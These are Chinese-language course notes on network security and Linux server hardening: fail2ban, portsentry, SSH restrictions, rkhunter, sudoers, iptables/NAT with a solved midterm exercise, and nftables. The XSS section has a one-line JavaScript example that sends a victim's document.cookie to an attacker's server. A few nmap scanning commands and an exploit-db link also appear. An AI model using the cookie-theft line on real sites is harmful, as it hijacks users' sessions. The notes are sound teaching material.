# 網路安全
- Book mode: https://hackmd.io/@ncnu-opensource/book
[TOC]
## 網路安全是什麼
- 對一般人來說,對網路安全比較常聽到的是 帳密被盜導致被亂登入、中了勒索病毒導致檔案都打不開、最近 fb 留言區常常會看到的奇怪連結等等。
而對於網管人員來說,可能會是遠端登入主機的安全性和一些常用服務的版本安全性等等。
這些都是網路安全的一部分,我們接下來會介紹其一點點運作的原理和要如何預防。
## 常見的攻擊手法
### 社交工程
- 利用人性弱點,應用簡單的溝通和欺騙技倆
- ex.
- 給我帳號密碼,我幫你儲值
- 恭喜你中獎了,點擊這個網站來領獎
- 防範方式
- 多查證,不要輕易地給別人帳號密碼
- 不要亂點網站、檔案
### 暴力破解
- 從 1 個字開始猜,每個字元都試試看
- 防範方式
- 帳號密碼取難一點,不要用預設的密碼
- 密碼複雜度
- 假設密碼長度 = x, 可能的字元為 y
如果字元是由英文大小寫和數字組成, y = 62
密碼長度為 10 個字元
總共要嘗試的就會是 $62^{10}$
- 所以其實也不需要用到像 google 那種建議的複雜密碼,基本上長度夠長(大概 8 個字)的英數字組合,其實複雜度就很高了
- 密碼種類
- 會有一個根基密碼,再依據不同網站加不同的字元
- ex. 根基密碼 = 123, 如果是 google 的帳號就是 google123
- 由多組密碼組成一組密碼
- ex. 共有三組,[ab, cd, ef],就可能是 abcd, abef..
- 由一句句子組成
- ex. iamgood
- fail2ban 限制次數
### 字典攻擊
- 用一般常用的單字(ex. admin、test)、該 ip 所處的地區的常用的單字猜,例如台灣可能就是 wang、lin
- 防範方式
- 帳號密碼取難一點,不要只有常見的單字組成
- fail2ban 限制次數
### 零時差攻擊
- 利用套件的漏洞(Vulnerability),且使用者還沒有更新到修補後的版本(patch),去攻擊(exploit),並執行惡意的程式碼(payload)
- 小實驗
- https://www.exploit-db.com/exploits/50580
- 常見漏洞的種類
- RCE (Remote code Execution)
- 遠端執行命令
- ex. eval
- XSS (Cross-Site-Scripting)
- 讓網站執行一些惡意的 javascript
- 盜取 cookie 再用 ajax or axios 等等回傳到攻擊者的 server,使用者也不會發現
```javascript=
axios.post(url, {'cookie':document.cookie});
```
- 實際範例的教學
- https://xss-game.appspot.com/level1
- 防範方式
- server 管理員
- 把 < > 編碼, 不要讓前端直接執行 tag
- CSRF (Cross-Site Request Forgery)
- 利用社交工程,讓受害者點惡意網站,惡意網站裡面去抓受害者的 cookie,再發 request(可以用 ajax、axios 就不會跳轉,讓受害者無法發現) 到那個 cookie 對應的網站做一些有了受害者權限才能做的事

image source : https://dotblogs.com.tw/joysdw12/2013/09/16/asp-net-cross-site-request-forgery
- ex. 某個網站的 form 用 get
- https://example.com/delete?id=3
- 防範方法
- 一般使用者
- 不要點奇怪的網站
- 盡量不要保持登入,登入完就登出(clear cookie)
- server 管理員
- 檢查是否是在相同 domain 下送出的 request
- 就不能跨站送 request 了
- csrf token
- 每個 form 每次新的頁面都會有一組 token,後端會先驗證此 token 是否一致
## 得到主機資源可以幹什麼
- 加密資料後勒索
- 預防方式
- 備份
- 可以被拿來當作 mail server 的跳板機,一直送垃圾或病毒郵件給別人
- 處理方式 :
- 用防火牆把對外的一些 port 先關掉
- `sudo netstat -anpt` : 看一下是否有奇怪的 port 有大量流量一直到奇怪的 ip 的 25 port(mail server)
- `sudo ps aux | grep program_name` : 找後門那隻後門程式的位置
- 被拿來挖擴
- 處理方式 :
- 用防火牆把對外的一些 port 先關掉
- `sudo netstat -anpt` : 看一下是否有奇怪的 port 有大量流量一直到奇怪的 ip 的 443 port
- `sudo ps aux | grep program_name` : 找後門那隻後門程式的位置
## 簡單檢查
- 有空看一下有沒有奇怪的程式在跑
- `ps aux`
- 看一下 cpu、記憶體
- `top`
- 查看版本的漏洞
CVE detail : https://www.cvedetails.com/
- exploit 的程式資料庫
- www.exploit-db.com
- 檢查有沒有被當作跳板機
- 如果主機被當作跳板機去攻擊別人,可能會被別人 ban 掉,所以可以藉由這個去看是否有在攻擊別人
- 中間的 ip 換成要檢查的 : https://www.blocklist.de/en/view.html?ip=163.22.17.179&cronjob=refreshcache
- reference
- https://www.webteach.tw/?p=3162
- reference
- https://kknews.cc/code/le8ggjg.amp
- https://ithelp.ithome.com.tw/articles/10291231
- https://medium.com/hannah-lin/zero-day-%E9%9B%B6%E6%99%82%E5%B7%AE%E6%94%BB%E6%93%8A-55bb3843ec9f
- https://www.youtube.com/watch?v=MMMkvHwqPRY&t=1560s
- https://ithelp.ithome.com.tw/users/20115853/ironman/3371
- https://security.stackexchange.com/questions/34419/what-is-the-difference-between-exploit-and-payload
- https://wordpress.stackexchange.com/questions/231797/what-is-nonce-and-how-to-use-it-with-ajax-in-wordpress
## fail2ban
- 介紹
- 就像上面提到,攻擊者可以藉由暴力破解來找到真正的帳號密碼,因為若沒有限制失敗的次數,攻擊者就可以一直試,所以需要這個工具去限制失敗的次數。
- 不過通常也不會限制一次失敗就不能登入,因為可能是正常的使用者不小心打錯了。
- 安裝 : `sudo apt install fail2ban`
- 啟動 : `sudo systemctl start fail2ban`
- 預設會先保護 sshd
- ssh daemon(守護神) 相當於 ssh 的 server,會一直跑在後台讓 client 可以 ssh 進來
- 開機啟動 : `sudo systemctl enable fail2ban`
- 設定檔 :
- 預設路徑 : /etc/fail2ban/jail.conf
- 先複製設定檔成 jail.local,因為如果更新 fail2ban,jail.conf 會被更新,而且 jail.local 會覆蓋 jail.conf,所以以後的設定檔就直接去改 jail.local 就可以:
- `sudo cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.local`
- [default] 是所有服務共用的設定,如果是針對特定的服務如 [sshd],若有重疊的部分會直接覆蓋 [default] 的。但若要啟用特定服務,要把 enabled = true。
- ex. sshd
```conf=
[DEFAULT]
ignoreip = 127.0.0.1/8 999.999.999.0/24 888.888.888.0/24
[sshd]
enabled = true
port = ssh # 如果 ssh 開在別的 port 這邊要改成改的 port
filter = sshd
logpath = /var/log/auth.log
maxretry = 5
findtime = 600
bantime = 1200
```
- 限制設定 :
- ex. 預設 : 在 10 分鐘內(findtime) 登入失敗次數超過 5 次(maxretry),就 ban 10 分鐘(bantime)

- 沒寫單位是秒,分鐘是 m,小時是 h,天是 d
- 白名單 : 有多個就用空白隔開
```config=
ignoreip = 192.168.56.1 192.168.56.2
```

- filter
- 路徑 : /etc/fail2ban/filter.d
- 用途 : 用來過濾哪一些是此服務失敗的條件(failregex),fail2ban 預設會有各種服務(ex. ssh、nginx)的 filter 檔
- ex. ssh 的過濾條件
- 
- 
- filter 檔的 python regex 語法
- 基本語法
- ^ : 比對字串的開始位置
- $ : 比對字串的結束位置
- ? : 問號前的字元可以出現 0 次或一次。
- ex. colou?r = colour、color
- 教學 :
- https://docs.python.org/3/library/re.html
- https://www.cyut.edu.tw/~ckhung/b/re/
- http://it-life.puckwang.com/2016/03/regular-expression.html
- action
- 用途 : 用來決定超過 maxretry 後要採取的行為,預設是只有封鎖 ip
- 寄信 :
- 兩種不同寄信內容
- action_mw : 封鎖後寄信通知
- action_mwl : 信還會含有whois資訊
- 更改 action : `sudo vi /etc/fail2ban/jail.local`
- 
- 更改寄達信箱 : `sudo vi /etc/fail2ban/jail.local`
- 
- 結果
- 
- 查看 fail2ban 管理的項目
`sudo fail2ban-client status`
ex. 目前有 ssh 被管理

- 查看被管理的項目的狀況(包括哪些 ip 被鎖)
- `sudo fail2ban-client status sshd`

- 可以去 /var/log/auth.log 看被登入的狀況(成功和失敗都會記錄)
- 查看被鎖的 ip 和時間(起始到結束) : `sudo fail2ban-client get sshd banip --with-time`
- 手動解鎖 ip :
- 單一 : `sudo fail2ban-client set sshd unbanip x.x.x.x`
- 全部 : `sudo fail2ban-client set sshd unbanip --all`
- 手動增加要封鎖的 ip :
- `sudo fail2ban-client set sshd banip a.a.a.a x.x.x.x`
- 手動調整白名單 :
- 新增 : `sudo fail2ban-client set sshd addignoreip x.x.x.x`
- 刪除 : `sudo fail2ban-client set sshd delignoreip x.x.x.x`
- reference
- https://crowsnest1217.com/%E5%AD%B8%E7%BF%92%E8%88%87%E5%88%86%E4%BA%AB/fail2ban-setting.html
- https://newtoypia.blogspot.com/2016/04/fail2ban.html
- https://net.nthu.edu.tw/2009/security:fail2ban
## portSentry
- 介紹
- 因為攻擊者可以用 nmap 之類的軟體掃主機的 port,會暴露主機的一些資訊,ex. 某些 port 可以被掃出來是哪些服務、主機的資訊(ex. os)
所以要對主機是否被掃描做監控,就可以利用這個工具。
- 安裝
- `sudo apt install portsentry`
- 啟動
- `sudo systemctl start portsentry`
- `sudo portsentry -atcp`
- -a : 會檢查主機是否有正在用要檢查的 port,若有就不要監聽該 port
- 設定檔
- path : `/etc/portsentry/portsentry.conf`
- 針對 tcp、udp 的掃描進行動作。
- 
- 0 : 不要限制掃描
- 1 : 限制掃描(通常是用這個)
- 2 : 用自己寫的腳本對掃描進行處置
- 要監聽的 port
- 有在用的 port 不要監聽。ex. 80 443
- 基本上用下面這個推薦的就夠了
- 
- 對於攻擊者如何處理
- 直接用防火牆把該 ip 的封包都 drop掉

- 結果
- 受害者
- 
- 把攻擊 ip 加入 /etc/hosts.deny
- 
- 結果
- 受害者
- 
- 攻擊者
- 
- ignore 檔
- path : `/etc/portsentry/portsentry.ignore.static`
- 因為 `/etc/portsentry/portsentry.ignore` 會因 restart 而刷新,然後會依 static 檔建一個新的
- 新增白名單 ip
- 
- log
- path
- `/var/lib/portsentry/`
- portsentry.blocked.tcp
- 現在 block 的紀錄(會因 restart 而刷新)
- 
- portsentry.blocked.udp
- 現在 block 的紀錄(會因 restart 而刷新)
- portsentry.history
- 過去到目前 block 的紀錄
- 
- refernence
- https://hackmd.io/@ncnu-opensource/B17djyQs8#PortSentry
## 更改 ssh 登入限制
### 更改 ssh port
- 理由
- 預設的 22 port 容易被駭客用暴力破解一直攻擊,雖然有些還是會逐 port 找,但相對較安全
- ex. 一個有對外 ip 的主機開個幾個小時
- ssh port 在 22,基本上都是中國的 ip

- ssh port 在其他 port

- 更改方式
- 決定要換的 port
- 因為有些掃描主機的工具(ex. nmap)預設是掃描 1~1023 比較常用的 port,所以推薦改成 1024~65535。
- nmap
- 可以掃描一台主機有哪些 port 是對外開放的
- 安裝
- `sudo apt install nmap`
- 預設掃描的 port : 1-1023
- 常用參數
- -p : 指定掃的 port
- 單個 : `nmap -p 80 192.168.1.1`
- 範圍 : `nmap -p 80-200 192.168.1.1`
- -A : 作業系統與各種服務的版本
- reference
- https://blog.gtwang.org/linux/nmap-command-examples-tutorials/
- 先找找看要換的 port 是不是有在用了
- ex. 要換用 21042 : `sudo netstat -tupln | grep 21042`
- 改成要換的 port
- `sudo vi /etc/ssh/sshd_config`
- 
- 開防火牆 port,我是用 ufw
- 如果還沒開 : `sudo ufw enable`
- 記得加一些會用的 port,ex. 443, 80
- 看一下 : `sudo ufw status`
- 加入新的 ssh 的 port : `sudo ufw allow 21042/tcp`
- `sudo ufw reload`
- `sudo service sshd restart`
- reference
- https://www.cyberciti.biz/faq/howto-change-ssh-port-on-linux-or-unix-server/
- https://xenby.com/b/258-%E6%95%99%E5%AD%B8-ufw-%E9%98%B2%E7%81%AB%E7%89%86%E8%A8%AD%E5%AE%9A%E8%BB%9F%E9%AB%94%E6%93%8D%E4%BD%9C%E6%8C%87%E5%8D%97
### 限制 ssh 登入 ip
- 一般規則
- 語法
- sshd(其他服務也可):(ip/netmask)
- /etc/hosts.allow : 可通過的 ip
```config=
sshd:163.22.32.0/255.255.255.0 163.22.17.179
```
- /etc/hosts.deny : 要擋掉的 ip
```config=
sshd:ALL
```
- 兩個檔案規則都不符合 : 通過
- 另一種寫法,都寫在一起
- `sudo vi /etc/hosts.allow`
- 語法
- sshd:(ip/netmask):(allow||deny)
- ex.
- 
- reference
- https://hackmd.io/@ncnu-opensource/B17djyQs8#%E7%99%BC%E7%8F%BE%E5%95%8F%E9%A1%8C%E5%88%86%E6%9E%90-log-
### ssh 取消密碼登入,只能用金鑰
- 理由
- 開著 port 讓別人連總是有一點點風險
- 產生金鑰 : `ssh-keygen -t rsa`
- 私鑰(自己留) : `.ssh/id_rsa`
- 公鑰(給別人) : `.ssh/id_rsa.pub`
- 伺服器端加入本地的公鑰 :
- 複製本地的公鑰 : `sudo vi ~/.ssh/id_rsa.pub`
- 貼到伺服器端 :`sudo vi ~/.ssh/authorized_keys`
- 拒絕用密碼登入
- `sudo vi /etc/ssh/sshd_config`
- `PasswordAuthentication no`
- 
- `sudo service ssh restart`
- 結果
- 
- reference
- https://newtoypia.blogspot.com/2017/04/watertight-ssh.html
- https://hackmd.io/@ncnu-opensource/book/https%3A%2F%2Fhackmd.io%2F7kiV5QwqT3y7L46EZF8DQQ#%E4%BD%BF%E7%94%A8%E6%86%91%E8%AD%89%E4%BE%86%E9%81%A0%E7%AB%AF%E9%80%A3%E7%B7%9A
## Rootkit
- rootkit : 藉由機器上某些服務的漏洞來取得 root 權限的程式,可能藉由改某些程式(ex. ps 等)來隱藏自己
- 如何隱藏
- 如果取得 root 權限,可以藉由載入惡意模組(可以過濾掉特定 pid),重新編譯核心,然後再呼叫惡意模組,輸入要過濾掉的 pid
- reference
- https://github.com/DanielNiv/Process-Hiding-Rootkit
- 若中了的解決方法 : 因 rootkit 善於隱藏,所以只能備份後重灌系統
### rkhunter
- 找 rootkit 方式
- 利用檔案獨有的指紋資料(md5 編碼),rkhunter 一開始會有各種服務的原始的指紋資料,只要檔案有被動任何一個字,就會和原本的編碼不一樣。
- md5 : 雜湊,相同內容會得到同一組編碼,不相同內容很大機率不會得到同組編碼
- 
- reference
- https://ithelp.ithome.com.tw/articles/10193762
- 檢查重要二進位檔案的權限 :
- 因為系統實際在執行的是編譯後的二進位檔案,這些通常會是 755 的權限,不能被其他人更改。但 rootkit 為了要方便控制系統,所以可能直接改這些二進位的檔案的權限成 777
- 檢查隱藏檔案(.xxx)
- 
- 檢查有沒有被奇怪的程式占用的 port
- 檢查有沒有特定惡意程式的檔名或目錄
- 安裝
- `sudo apt install rkhunter`
- 執行
- `sudo rkhunter`
- 常用參數
- `--checkall (-c)` : 全系統全部項目都檢測
- `-cronjob` : 用 crontab 自動跑
- ex. 每天 8 點 30 分執行一次
- `30 8 * * * rkhunter --checkall --cronjob`
- `--report-warnings-only` : 只報出有問題的,正常的不顯示
- `--skip-keypress` : 自動執行,不用一部分檢查完再按 enter 才能檢查下一部分
- `--versioncheck` : 用最新版的 rkhunter
- reference
- https://linux.vbird.org/linux_server/others/0420rkhunter.php#whatisrk
## sudoers
### 概述
* 在有 sudo 之前是用`su`切換到超級使用者,但必須知道超級使用者的密碼,而且用 su 的話身分會變成超級使用者,無法追查真正的使用者,用 su 也無法管理各使用者能做什麼事
* 有 sudo 之後只需在下指令後輸入使用者自己的密碼
* sudoers 紀錄使用者或群組是否有以 sudo 執行對應指令的權限
* sudo 運作流程:
1. 使用者以 sudo 執行指令時,會先讓使用者輸入自己的密碼
2. 密碼輸入成功後系統會去 /etc/sudoers 裡找這個使用者是否有以 sudo 執行這個指令的權限
3. 確認有權限執行才會用 sudo 執行指令,否則會報錯
* 沒被列在 sudoers 裡 :

### 使用方法
#### 方法1 :
* 先用`su`切換超級使用者
* 用`visudo`編輯 /etc/sudoers
* visudo 會用系統設定的編輯器開啟 /etc/sudoers,保存後會自動偵錯,避免指令錯誤
* 更改使用編輯器 : `sudo update-alternatives --config editor`
#### 方法2 :
* 把使用者加到 sudo 群組 (不建議)
:::warning
`sudo adduser tommy sudo`
:::
### sudoers 規則

|使用者名稱|主機名稱|可切換的帳號:群組|可執行指令的執行檔絕對路徑
|-----|----|--------|------|
|root|ALL|(ALL:ALL)|ALL
* 可以在指令後面接針對的參數
* 個別帳號設定如上
* 群組設定則在使用者名稱前面加%
* 如果有多個符合條件的情況(該使用者有符合使用者也符合群組,那會以最後一筆條件為準)

### 新增規則
* 讓使用者 user1 可以執行 sudo iptables
```
user1 ALL=(ALL:ALL) /usr/sbin/iptables
```
* 讓使用者 user1 可以不用輸入密碼下 sudo (不安全)
```
user1 ALL=(ALL:ALL) NOPASSWD:ALL
```
* 讓使用者 user1 只能更改除了 root 使用者的密碼
```
user1 ALL=(ALL:ALL) !/usr/bin/passwd, /usr/bin/passwd [A-Za-z0-9]*, !/usr/bin/passwd root
```
* `!`表示不能執行後面的指令,所以 user1 可以執行`sudo passwd {其他user}`,但不能執行`sudo passwd` 和 `sudo passwd root`(這兩個指令都是指修改 root 密碼)
### reference
* https://linux.vbird.org/linux_basic/centos7/0410accountmanager.php
* https://www.digitalocean.com/community/tutorials/how-to-edit-the-sudoers-file
* https://jerrynest.io/xxx-is-not-in-the-sudoers-file/
* https://askubuntu.com/questions/100051/why-is-sudoers-nopasswd-option-not-working
## iptables
### 概述
* Linux 上的防火牆套件
* 防火牆 : 過濾封包,保護我們的網路環境
* 利用 Linux kernel 的 Netfilter 框架來實現過濾封包(阻擋或允許)、轉傳封包、或是更改封包內容等防火牆功能
* iptables 處理 IPv4 封包, IPv6 封包則是用 ip6tables
### 架構
* 表(table)、鏈(chain)、規則(rule)
* table 裡有 chain,chain 裡有 rule,每條 rule 都有一個 target
### 運作流程範例

### table
總共有 5 種 table
* filter : 預設使用的表,用於過濾封包(常用)
* nat : 用於 IP 或 port 轉換(常用)
* mangle : 用於修改封包內容(ex : 改封包 header)
* [raw](https://lyt0112.pixnet.net/blog/post/319947973-iptables%E5%9B%9B%E5%80%8B%E8%A1%A8%E8%88%87%E4%BA%94%E5%80%8B%E9%8F%88%E9%96%93%E7%9A%84%E9%97%9C%E4%BF%82) : 用於停止追蹤封包
* security : 用於設定 SELinux 對單個封包或整個連線的處理
:::info
### [SELinux](https://linux.vbird.org/linux_basic/centos7/0440processcontrol.php#selinux) (Security Enhanced Linux) :
* 安全式增強 Linux
* 主要用於 RedHat、Fedora
* 是除了判斷 rwx 權限的另一層防護,檢查 process 是否有權限去存取資源
* 為了避免開放服務的rwx設成777導致服務的process能任意存取其他檔案
* Subject (process) 要取得 Object (資源) 的流程 :

* Subject 如果通過設定的 Policy,會再比對兩者的 Security Context(安全性本文)是否都有紀錄彼此,都通過才能存取到 Object
* Security Context 是用標記來分辨 Subject 和 Object
* Security Context : 紀錄什麼類別的 Subject 可以存取什麼類別的 Object , 什麼類別的 Object 可以被什麼類別的 Subject 存取
* SELinux 模式 :
* Disable : 關閉,不會限制存取
* Permissive : 寬容模式,跟關閉一樣不會限制存取,但會記錄 log
* Enforcing : 強制模式,會限制存取


### AppArmor
* 主要用於 Ubuntu、SUSE
* 比 SELinux 簡單
* 以檔案路徑來分辨檔案
* 以 process 絕對路徑為名稱建立規則設定檔 (在 /etc/apparmor.d 目錄下)
* 通過規則的 process 才能存取到資源
* AppArmor 模式 :
* Complain/Learning : 學習模式,不會限制存取,但會記錄log
* Enforce : 執行模式,會限制存取

:::
### chain
總共有 5 種 chain
* INPUT : 進入主機的封包
* OUTPUT : 主機送出的封包
* FORWARD : 轉送 (不會進入本機) 的封包
* PREROUTING : 進行路由前 (封包決定要往哪邊走之前)
* POSTROUTING : 進行路由後 (封包決定要往哪邊走之後)

* filter OUTPUT和nat OUTPUT差異 :
* filter OUTPUT : 是否同意封包從主機出去
* [nat OUTPUT](https://superuser.com/questions/1228091/what-do-input-and-output-chains-in-nat-table-do) : 封包要從哪裡出去
### rule
* 設定給 iptables 的條件,若符合該 rule 就會執行相應的 action

> 若符合排在前面的 rule ,就會去執行相應的 action ,不會再往下去執行(類似 if , else if)
### policy
* 預設封包處理方式,如果都沒有符合的 rule 就會執行這裡
### target
* 進行的動作
* ACCEPT : 允許
* REJECT : 拒絕,會告知發送者封包被拒絕
* DROP : 丟掉,發送者不會知道
* SNAT : 修改封包來源 IP
* DNAT : 修改封包目的 IP
* MASQUERADE : 動態 SNAT
* LOG : 紀錄連線到 log
* RETURN : 返回進入的 rule 位置,繼續判斷下面的 rule
### 操作
* 所有指令都要加 sudo
* why? 因為操作 iptables 要使用到 kernel 的 Netfilter , 所以要用超級使用者權限才能操作
#### 查看 rule
```
sudo ipatables [-t table] -L [-nv --line-numbers]
```
* `-t` : 選擇 table,預設是 filter
* `-L` : 列出 rule
* `-n` : 不把 IP 位址解析成域名,所以速度較快
* `-v` : 列出更多資訊
* `--line-numbers` : 顯示編號

* target : 進行的動作
* prot : 針對的封包使用的協定
* opt : 額外選項說明
* source : 針對的來源 IP
* destination : 針對的目的 IP
#### 更改 policy
```
sudo iptables [-t table] -P <INPUT, OUTPUT, FORWARD...> <ACCEPT, DROP, ...>
```
* `-t` : 選擇 table
* `-P` : policy , 後面接 chain 和 target
* 把 filter table 的 INPUT policy 更改為 DROP


#### 新增rule
```
sudo iptables [-t table] [-A or -I] <INPUT, OUTPUT,FORWARD...>\
-j <ACCEPT, DROP, REJECT> [-i -o -p -s -d...]
```
* `-t` : 選擇 table,後面接 table 名稱
* 新增
* `-A` : append,規則加在最後面,後面接 chain 名稱
* `-I` : insert,規則加在最前面,後面接 chain 名稱
* 動作
* `-j` : jump,後面接動作(target)
* 網卡
* `-i` : in interface,封包從哪個網卡進來
* `-o` : out interface,封包從哪個網卡出去
* IP位址
* `-s` : source address,封包來源IP位址
* `-d` : destination address,封包目的IP位址
* `!` : 可用在 -s 和 -d 之後,表示非該 IP
* 協定
* `-p` : protocol,封包使用什麼協定(tcp、udp、ICMP...)
* port,當 -p 指定 tcp 或 udp 時可以使用
* `--sport` : source port,封包來源 port
* `--dport` : destination port,封包目標 port
* 模組
* `-m` : 呼叫模組,ex: conntrack 模組
* 記錄連線狀態
* NEW : 新建立的連線
* ESTABLISHED : 已建立的連線(雙向都得到回應)
* RELATED : 新的連線,但與已建立的連線相關
* INVALID : 無法辨認或惡意的連線
* UNTRACKED : 在 raw 表已被關閉追蹤
* 範例 :

* iptables 在 http server 主機上,對外網卡是 eth1
* 讓 Good user 可以連線到 http server
```
sudo iptables -A INPUT -i eth1 -s 192.168.0.101 -j ACCEPT
```
* 讓 Bad user 無法連線到 http server
```
sudo iptables -A INPUT -i eth1 -s 192.168.0.102 -j DROP
```
#### 刪除 rule
* `-D` : Delete,刪除 chain 裡對應編號的 rule
```
sudo iptables [-t table] -D <INPUT,OUTPUT,FORWAED...> <rule 編號>
```
* `-F` : Flush,清除 chain 裡全部的 rule
```
sudo iptables [-t table] -F <INPUT,OUTPUT,FORWARD...>
```
#### 儲存 iptables 設定
* iptables 不會自動保存和載入設定,關機就會消失
* 把設定 save 到檔案裡再 restore 回去
* 先建立檔案 iptables.conf
* `iptables-save` 可以輸出 iptables 目前的設定
* `iptables-save > iptables.conf` 把輸出的結果寫入 iptables.conf
* `iptables-restore < iptables.conf` 把 iptables.conf 的內容載入到 iptables
* 或是用 [iptables-persistent](https://magiclen.org/ubuntu-server-iptables-save-permanently/)
* `sudo apt install iptables-persistent`
* `sudo bash -c "iptables-save > /etc/iptables/rules.v4"`
* 會在開機時自動載入 iptables 設定
#### iptables-apply
* 嘗試設定新的 iptables 規則,會詢問使用者 y/N,選 y 就會套用,選 N 或太長時間沒回應就會變回舊的
* `sudo iptables-apply iptables設定檔`
* 預設 rulefile (iptables-save 輸出的內容) 路徑 : /etc/network/iptables.up.rules
* 可以避免使用 ssh 連線到主機設定時不小心把 ssh 連線 DROP 掉的情況
### NAT
> Network Address Translation
> 內網和外網 IP 位址之間的轉換
> 可以讓多個內網 IP 主機共用一個外網 IP

* IPv4 的位址數量不夠用 -> 使用內網 IP
* 外網 IP 無法連線內網 IP (找不到) -> NAT 來轉換
* 主要有 SNAT、DNAT、MASQUERADE
#### SNAT
> Source NAT
> 在路由後(POSTROUTING)將來源 IP 從內網 IP 位址修改為 NAT 主機的外網 IP 位址
##### 情境 : 內網主機(192.168.1.100)要連線到外網(域名 tw.yahoo.com)

1. 來源 192.168.1.100 傳遞封包給NAT主機
2. NAT 發現目的地不是內網,透過路由轉到外網網卡
3. 因為內網和外網不能互通,所以透過POSTROUTING 把來源 IP 從內網 IP 換成外網 IP ,同時會將這兩個來源 IP 寫入暫存記憶體
##### 情境 : 外網(域名tw.yahoo.com)回傳封包給內網主機(192.168.1.100)

4. 來源外網傳遞封包給 NAT 主機
5. NAT 主機收到外網的回應封包後,會分析封包的序號,並比對前面存到暫存記憶體的資料,就會發現這個封包是內網主機(192.168.1.100)之前傳送出去的,就會透過 PREROUTING 把目的 IP 從外網 IP 改成內網主機的 IP 192.168.1.100
6. 封包會傳送到 192.168.1.2 這個內網網卡,然後再傳送到目的地192.168.1.100 的內網主機(完成連線!)
#### MASQUERADE
> 動態SNAT
* SNAT 是靜態的,必須在 rule 手動設定外網 IP
* 如果外網 IP 變動,SNAT 就需要手動去修改(很麻煩)
* MASQUERADE 會自己去找能連上外網的網卡,它的外網 IP 是多少來當作 SNAT 的來源 IP
#### DNAT
> Destination NAT
> 在路由前(PREROUTING)將來自外網訪問的目的 IP 位址從外網 IP 位址修改為內網主機的IP位址,就能讓外網連線到內網的主機
##### 情境 : 外網主機(61.xx.xx.xx)發送請求給 NAT 主機的80 port (對應到內網主機(192.168.1.210) 的 80 port 上的 WWW 服務)

1. 外部主機要連到WWW服務,需要先連到NAT主機上
2. NAT 主機已經有設定要分析 80 port 的封包,所以當它接收到封包後,會用 PREROUTING 將目的 IP 從外網 IP 改成內網 IP,也就變成連線到 192.168.1.210 的 80 port,同時紀錄封包資訊
3. 封包會傳送到 192.168.1.2 這個內網網卡,然後再傳送到目的地192.168.1.210 的 80 port (連線到 WWW 服務!)
4. 之後在回傳封包給外網主機時,會比對前面儲存的封包資訊,把來源 IP 從內網 IP 換成外網 IP,就可以傳送回去了
### DMZ
> Demilitarized Zone (非軍事區)
>將內網中要開放的伺服器與沒有要開放的主機分隔開來
>讓外網有限制地存取內網資源
>當 DMZ 被攻擊時,不開放的內網主機是安全的

* 要開放的主機放在 DMZ , 不開放的主機放在 LAN
* 外網、內網可以直接連線到 DMZ,但 DMZ 不能直接連線內網
* 所以當 DMZ 被攻擊時,因為DMZ 不能直接連線到 LAN ,所以 LAN 還會是安全的
### 期中題目實作

#### 情境
* 模擬 NAT 實作
* 一台虛擬機當作 NAT 主機
* 一台虛擬機當作內網的 webserver
* 本機當作外網主機
#### 設定網卡
* NAT 主機網卡選橋接介面卡和主機介面卡
* webserver 網卡選主機介面卡
#### 設定環境
* 開啟 NAT 主機 kernel 轉發功能
```
sudo vim /etc/sysctl.conf
```
修改 net.ipv4.ip_forward=1,如下:

接著下`sudo sysctl -p`讓 kernel 從檔案載入設定 (預設是 /etc/sysctl.conf )
* 設定 webserver gateway
```
sudo route del default
sudo route add default gw {NAT主機內網IP}
```
* 讓外網(本機)找得到 webserver
```
sudo iptables -t nat -A POSTROUTING -j MASQUERADE
```
* 同意現有、相關連線轉送
```
sudo iptables -A FORWARD -m conntrack --ctstate "ESTABLISHED,RELATED" -j ACCEPT
```
**1. 開放 NAT 的 80 port,透過連到 NAT 80 port,可以連到 webServer 的 80 port**
**2. 開放 NAT 的 2222 port,連到此可以 ssh 進webServer**
**3. 禁止外部 ssh 進 NAT**
**4. webServer 到 NAT 的流量都允許**
**5. 其餘進來的流量或轉發都禁止**
#### 解答
1. 開放 NAT 的 80 port,透過連到 NAT 80 port,可以連到 webServer 的 80 port
```
sudo iptables -t nat -I PREROUTING -p tcp --dport 80 -j DNAT --to {webServer IP}:80
sudo iptables -I FORWARD -d {webServer IP} -p tcp --dport 80 -j ACCEPT
```
2. 開放 NAT的 2222 port,連到此可以 ssh 進 webServer
```
sudo iptables -t nat -I PREROUTING -p tcp --dport 2222 -j DNAT --to {webServer IP}:22
sudo iptables -I FORWARD -d {webServer IP} -p tcp --dport 22 -j ACCEPT
```
3. 禁止外部 ssh 進 NAT
```
sudo iptables -I INPUT -i {NAT 內網網卡} -p tcp --dport 22 -j DROP
```
4. webServer 到 NAT 的流量都允許
```
sudo iptables -I INPUT -s {webServer IP} -j ACCEPT
```
5. 其餘進來的流量或轉發都禁止
```
sudo iptables -A INPUT -j DROP
sudo iptables -A FORWARD -j DROP
```
* filter table 結果圖

* nat table 結果圖

### reference
* https://linux.vbird.org/linux_server/centos6/0250simple_firewall.php
* https://en.wikipedia.org/wiki/Netfilter
* https://read-and-thinking.blogspot.com/2009/06/iptablessnatmasquerade.html
* https://ubuntuforums.org/showthread.php?t=819354
* https://ithelp.ithome.com.tw/articles/10010137
* https://hackmd.io/@ncnu-opensource/book/%2FxsE4rBjcQjivGac7GdCK7Q
* https://hackmd.io/@ncnu-opensource/book/https%3A%2F%2Fhackmd.io%2FTd1ytiSNSjWbFziUSRGTdA%3Fview
## nftables
### 概述
* 用來取代 iptables,減少重複的設定、更有效率...
* 結合了 iptables , ip6tables , arptables 等防火牆工具
* 多了 [family](https://wiki.nftables.org/wiki-nftables/index.php/Nftables_families) , ex : ip , ip6 , inet , arp , bridge , netdev
* inet 同時包含 IPv4 和 IPv6,可以不用像 iptables 和 ip6tables 分開
* 架構也是由 table , chain 和 rule 組成
### 與iptables差異
* 語法不同
* 沒有預設的 table 和 chain,減少不必要的檢查 -> 提升效能
* 可以一個 rule 執行多個動作
* IPv4 和 IPv6 中都有的相同 rule 可以給 inet 處理
### 安裝方法
`sudo apt install nftables`
### 把 iptables 設定檔轉到 nftables
* 輸出 iptables 設定
`sudo iptables-save > iptables.conf`
* 把設定轉換並載入到 nft 檔案
`sudo iptables-restore-translate -f iptables.conf > ruleset.nft`
* nftables 再載入 nft 設定檔
`sudo nft -f ruleset.nft`
### 操作
#### 查看所有 table , chain , rule
* 查看 table : `sudo nft list tables`
* 查看 chain : `sudo nft list chains`
* 查看 rule : `sudo nft list ruleset`
#### 新增 table , chain , rule
* 新增 table : `sudo nft add table [family] [table name]`
* 新增 chain :
`sudo nft add chain [family] [table name] [chain name] {type [chain type] hook [hook type] priority [value];}`
